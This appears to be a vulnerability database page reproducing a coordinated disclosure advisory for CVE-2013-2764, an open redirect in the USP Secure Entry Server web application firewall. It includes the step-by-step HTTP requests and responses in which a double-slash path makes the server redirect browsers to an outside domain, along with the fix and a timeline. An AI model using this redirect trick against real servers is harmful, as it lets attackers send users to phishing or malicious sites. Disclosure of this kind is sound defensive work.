USP Secure Entry Server URL Redirection

2013.12.23
Risk: Low
Local: No
Remote: Yes
CWE: CWE-601


Ogólna skala CVSS: 5.8/10
Znaczenie: 4.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # Product: Secure Entry Server (SES) # Vendor: United Security Providers Ltd. # CSNC ID: CSNC-2013-008 # CVD ID: CVE-2013-2764 # Subject: URL Redirection # Risk: High # Effect: Remotely exploitable # Author: Alexandre Herzog <alexandre.herzog@csnc.ch> # Date: 18.12.2013 # ############################################################# Introduction: ------------- The USP Secure Entry Server? protects company networks and business transactions with internet access as a Web application firewall (WAF) and manages access to data and applications. The USP Secure Entry Server? (SES) offers this protection by scanning data packages right down to the individual items of content, thus reliably safeguarding Web applications and all transactions carried out using them. The SES acts as an x-ray scanner for online transactions; it identifies data packages infected by viruses and only approves undamaged or cleaned data packages for use.[1] Technical Description --------------------- By default, the USP Secure Entry Server is shipped with option HSP_AbsoluteRedirects set to off. The consequence is that after a successful cookie-check, the server replies with a relative instead of an absolute link. The server doesn't detect that relative URLs starting with double slash are in fact detected as a valid domain by browsers and not just a path on the actual server. 1. Initial request GET //www.hacking-lab.com HTTP/1.1 Host: [victim] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive 2. Server redirect to the cookie check procedure HTTP/1.1 302 Found Date: Wed, 03 Apr 2013 09:23:56 GMT Server: server Location: /cookie-check?trg=[long token] Set-Cookie: SCDID_S=[session id] path=/; Secure; HttpOnly Content-Length: 290 Content-Type: text/html; charset=iso-8859-1 Keep-Alive: timeout=65, max=100 Connection: Keep-Alive <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="/cookie-check?trg=[long token]">here</a>.</p> </body></html> 3. As instructed, the browser accesses the cookie check page, proving it support cookies: GET /cookie-check?trg=[long token] HTTP/1.1 Host: [victim] User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: SCDID_S=[session id] Connection: keep-alive 4. SES gets the expected request, and redirects the client to the initially requested page, but without stripping the double-slashes and without forcing a fully qualified domain name for the redirection: HTTP/1.1 302 Found Date: Wed, 03 Apr 2013 09:23:56 GMT Server: server Location: //www.hacking-lab.com Content-Length: 205 Content-Type: text/html; charset=iso-8859-1 Keep-Alive: timeout=65, max=100 Connection: Keep-Alive <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="//www.hacking-lab.com">here</a>.</p> </body></html> 5. The browser doesn't interpret a redirection to //www.hacking-lab.com as being http(s)://[victim]//www.hacking-lab.com, but in fact as a redirection to http(s)://www.hacking-lab.com. This behavior is RFC conform and is well implemented in most current browsers[2]. The client gets therefore redirected to another website by the SES. Workaround / Fix: ----------------- Upgrade to the latest available version of SES or ensure option HSP_AbsoluteRedirects is set to on (as it's by default in the appliance but not the software version), as this would insert the FQDN in the response of the server. Timeline: --------- 2013-12-18: Coordinated public disclosure date (after 3 months grace period) 2013-09-18: Release of fixed SES Appliance Version 4.7.0 and HSP Software Version 4.5.0 2013-04-26: Initial vendor response 2013-04-23: Initial formal vendor notification based on advisory and CVE-ID 2013-04-07: Assigned CVE-2013-2764 2013-04-03: Discovery of the same issue but with a different customer 2012-09-10: Discussed with a representative of the vendor, which did not consider it as a major issue but customer related 2012-09-06: Discovery by Alexandre Herzog References: ----------- [1] http://www.united-security-providers.com/en/it-security-solutions/protection-for-web-applications/ [2] http://stackoverflow.com/questions/6785442/browser-support-for-urls-beginning-with-double-slash

Referencje:

http://www.united-security-providers.com/en/it-security-solutions/protection-for-web-applications/
http://stackoverflow.com/questions/6785442/browser-support-for-urls-beginning-with-double-slash


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top